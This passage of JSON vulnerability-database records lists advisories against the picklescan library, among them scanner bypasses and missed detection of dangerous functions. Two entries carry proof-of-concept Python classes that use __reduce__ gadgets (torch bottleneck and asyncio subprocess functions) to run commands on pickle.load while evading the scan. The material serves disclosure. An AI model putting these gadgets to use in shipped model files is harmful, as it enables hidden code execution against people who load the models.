            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-hm3p-7t8t-bfb7"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360526?format=api",
            "vulnerability_id": "VCID-jsfv-qjzd-87ck",
            "summary": "Duplicate Advisory: Picklescan: ZIP archive scan bypass is possible through non-exhaustive Cyclic Redundancy Check\n### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-m4j5-5x4r-2xp9. This link is maintained to preserve external references.\n\n### Original Description\nAn Improper Handling of Exceptional Conditions vulnerability in the ZIP archive scanning component of mmaitre314 picklescan allows a remote attacker to bypass security scans. This is achieved by crafting a ZIP archive containing a file with a bad Cyclic Redundancy Check (CRC), which causes the scanner to halt and fail to analyze the contents for malicious pickle files. When the file incorrectly considered safe is loaded, it can lead to the execution of malicious code.",
            "references": [
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10156",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "9.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10156"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-4vr7-g93g-cf6m",
                    "reference_id": "GHSA-4vr7-g93g-cf6m",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "CRITICAL",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-4vr7-g93g-cf6m"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-mjqp-26hc-grxg",
                    "reference_id": "GHSA-mjqp-26hc-grxg",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "9.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-mjqp-26hc-grxg"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89083?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.31",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
                        },
                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.31"
                }
            ],
            "aliases": [
                "GHSA-4vr7-g93g-cf6m"
            ],
            "risk_score": 4.5,
            "exploitability": "0.5",
            "weighted_severity": "9.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-jsfv-qjzd-87ck"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/212453?format=api",
            "vulnerability_id": "VCID-judk-maax-muc7",
            "summary": "Picklescan missing detection when calling pty.spawn",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/pull/53",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
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                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
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                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
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                "CVE-2025-1944",
                "GHSA-7q5r-7gvp-wc82",
                "PYSEC-2025-20"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-kmwg-e2gf-9yb7"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360679?format=api",
            "vulnerability_id": "VCID-kne4-tcp8-m3c3",
            "summary": "Picklescan is missing detection when calling pytorch function torch.utils.bottleneck.__main__.run_autograd_prof\n### Summary\n\nUsing torch.utils.bottleneck.\\_\\_main\\_\\_.run_autograd_prof function, which is a pytorch library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to torch.utils.bottleneck.__main__.run_autograd_prof function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nimport torch.utils.bottleneck.__main__ as bottleneck_main\n\nclass EvilTorchUtilsBottleneckRunAutogradProf:\n    def __reduce__(self):\n        code = '__import__(\"os\").system(\"whoami\")'\n        globs = {}\n        return bottleneck_main.run_autograd_prof, (code, globs)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-4whj-rm5r-c2v8",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-4whj-rm5r-c2v8"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-4whj-rm5r-c2v8",
                    "reference_id": "GHSA-4whj-rm5r-c2v8",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-4whj-rm5r-c2v8"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89082?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.30",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
                        },
                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
                        {
                            "vulnerability": "VCID-gbvh-fs1r-xqcw"
                        },
                        {
                            "vulnerability": "VCID-hg5h-54nq-bber"
                        },
                        {
                            "vulnerability": "VCID-jsfv-qjzd-87ck"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
                        {
                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.30"
                }
            ],
            "aliases": [
                "GHSA-4whj-rm5r-c2v8"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-kne4-tcp8-m3c3"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360676?format=api",
            "vulnerability_id": "VCID-n3yg-3gcp-nyc1",
            "summary": "Picklescan is missing detection when calling built-in python library asyncio.unix_events._UnixSubprocessTransport._start\n### Summary\n\nUsing asyncio.unix_events._UnixSubprocessTransport._start function, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to asyncio.unix_events._UnixSubprocessTransport._start function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nfrom asyncio.unix_events import _UnixSubprocessTransport\nfrom types import SimpleNamespace\n\nclass EvilAsyncioUnixSubprocessTransportStart:\n    def __reduce__(self):\n        fake_self = SimpleNamespace(\n            _loop=None,\n            _protocol=None,\n            _proc=None\n        )\n        args = \"whoami\"  \n        return _UnixSubprocessTransport._start, (\n            fake_self, args, True, None, None, None, 0\n        )\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-q77w-mwjj-7mqx",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-q77w-mwjj-7mqx"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-q77w-mwjj-7mqx",
                    "reference_id": "GHSA-q77w-mwjj-7mqx",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-q77w-mwjj-7mqx"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89082?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.30",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
                        },
                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
                        {
                            "vulnerability": "VCID-gbvh-fs1r-xqcw"
                        },
                        {
                            "vulnerability": "VCID-hg5h-54nq-bber"
                        },
                        {
                            "vulnerability": "VCID-jsfv-qjzd-87ck"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
                        {
                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.30"
                }
            ],
            "aliases": [
                "GHSA-q77w-mwjj-7mqx"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-n3yg-3gcp-nyc1"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360535?format=api",
            "vulnerability_id": "VCID-p42h-2wne-j3ds",
            "summary": "Duplicate Advisory: Picklescan Bypass is Possible via File Extension Mismatch\n### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-jgw4-cr84-mqxg. This link is maintained to preserve external references.\n\n### Original Description\nAn Improper Input Validation vulnerability in the scanning logic of mmaitre314 picklescan versions up to and including 0.0.30 allows a remote attacker to bypass pickle files security checks by supplying a standard pickle file with a PyTorch-related file extension. When the pickle file incorrectly considered safe is loaded, it can lead to the execution of malicious code.",
            "references": [
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10155",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "9.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10155"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-j424-mc44-f4hj",
                    "reference_id": "GHSA-j424-mc44-f4hj",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "CRITICAL",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-j424-mc44-f4hj"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-jgw4-cr84-mqxg",
                    "reference_id": "GHSA-jgw4-cr84-mqxg",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "9.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-jgw4-cr84-mqxg"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89083?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.31",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
                        },
                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.31"
                }
            ],
            "aliases": [
                "GHSA-j424-mc44-f4hj"
            ],
            "risk_score": 4.5,
            "exploitability": "0.5",
            "weighted_severity": "9.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-p42h-2wne-j3ds"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/212462?format=api",
            "vulnerability_id": "VCID-pfmh-d33z-9ka8",
            "summary": "Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.methodcaller",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/f2dea43e0c838e09ace1e62994143254b51de927",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/f2dea43e0c838e09ace1e62994143254b51de927"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.34",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.34"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-955r-x9j8-7rhh",
                    "reference_id": "GHSA-955r-x9j8-7rhh",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-955r-x9j8-7rhh"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-955r-x9j8-7rhh",
                    "reference_id": "GHSA-955r-x9j8-7rhh",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-955r-x9j8-7rhh"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/36386?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.34",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.34"
                }
            ],
            "aliases": [
                "GHSA-955r-x9j8-7rhh"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-pfmh-d33z-9ka8"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/212452?format=api",
            "vulnerability_id": "VCID-q3ju-z2ut-mkgx",
            "summary": "Picklescan has Incomplete List of Disallowed Inputs",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/pull/53",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/pull/53"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-84r2-jw7c-4r5q",
                    "reference_id": "GHSA-84r2-jw7c-4r5q",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
